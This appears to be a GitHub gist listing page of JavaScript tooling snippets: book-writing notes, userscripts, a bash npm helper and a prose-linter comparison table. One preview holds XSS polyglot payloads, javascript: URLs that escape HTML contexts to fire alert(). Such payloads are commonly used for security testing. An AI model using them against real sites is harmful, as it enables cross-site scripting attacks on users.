jsprimerというJavaScriptの書籍を書いている。 これを書いてるときに参考にしているものを書いていく。
ECMAScriptのLiving Standardな仕様書ページ。 スナップショットなECMAScriptの仕様書ページもあるけど、基本的にはLiving Standardの方しか見てない。
jsprimerというJavaScriptの書籍を書いている。 これを書いてるときに参考にしているものを書いていく。
ECMAScriptのLiving Standardな仕様書ページ。 スナップショットなECMAScriptの仕様書ページもあるけど、基本的にはLiving Standardの方しか見てない。
// ==UserScript== | |
// @name npm: package support types | |
// @namespace info.efcl | |
// @match https://www.npmjs.com/package/* | |
// @grant GM_xmlhttpRequest | |
// ==/UserScript== | |
// License: MIT © azu | |
const NAME = "$Greasemonkey:package support types$"; | |
const fetchPackage = (packageName) => { |
// ==UserScript== | |
// @name geocities:redirect-to-wayback | |
// @namespace info.efcl.geocities-redirect-to-wayback | |
// @match http://www.geocities.jp/* | |
// @match https://www.geocities.jp/* | |
// @grant none | |
// ==/UserScript== | |
// See also | |
// https://qiita.com/__cooper/items/5ec5453c82fd3b03d7f6 |
ECMAScript Proposal Diff between 2018-02-01 - 2019-02-01 by ECMAScript Proposal Diff Tool
This changes is related with ECMAScript 2019 discussion.
ECMAScript 2019の仕様に関する議事録を全部読む予定です。 (イベントじゃなくてただの個人的な予定です)
いつもインターネットの路上でやっている読書会です。
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> | |
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> | |
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> | |
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` | |
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">` | |
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script> | |
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script> | |
javascript:`</template>\"///"//< |
npm-remove-interactive() | |
{ | |
local k results | |
while out=$( | |
cat package.json \ | |
| jq '.devDependencies * .dependencies | keys[]' \ | |
| fzf --ansi --multi --no-sort --reverse --query="$q" \ | |
--print-query --expect=ctrl-d); do | |
q=$(head -1 <<< "$out") | |
k=$(head -2 <<< "$out" | tail -1) |
Tool | Extensible | Checks | Supports Markup |
---|---|---|---|
Vale | Yes (via YAML) | spelling, style | Yes (Markdown, AsciiDoc, reStructuredText) |
textlint | Yes (via JavaScript) | spelling, style | Yes (Markdown, AsciiDoc, reStructuredText, Re:VIEW) |
RedPen | Yes (via Java) | spelling, style | Yes (Markdown, AsciiDoc, reStructuredText, Textile, LaTeX) |
Rousseau | Yes (via JavaScript) | spelling, style | No |
write-good | No | style | No |
proselint | No | style | No |
Joblint | No | style |
Time Travel refers to the ability to record a tab and later replay it ([WebReplay][wrr]). The technology is useful for local development, where you might want to: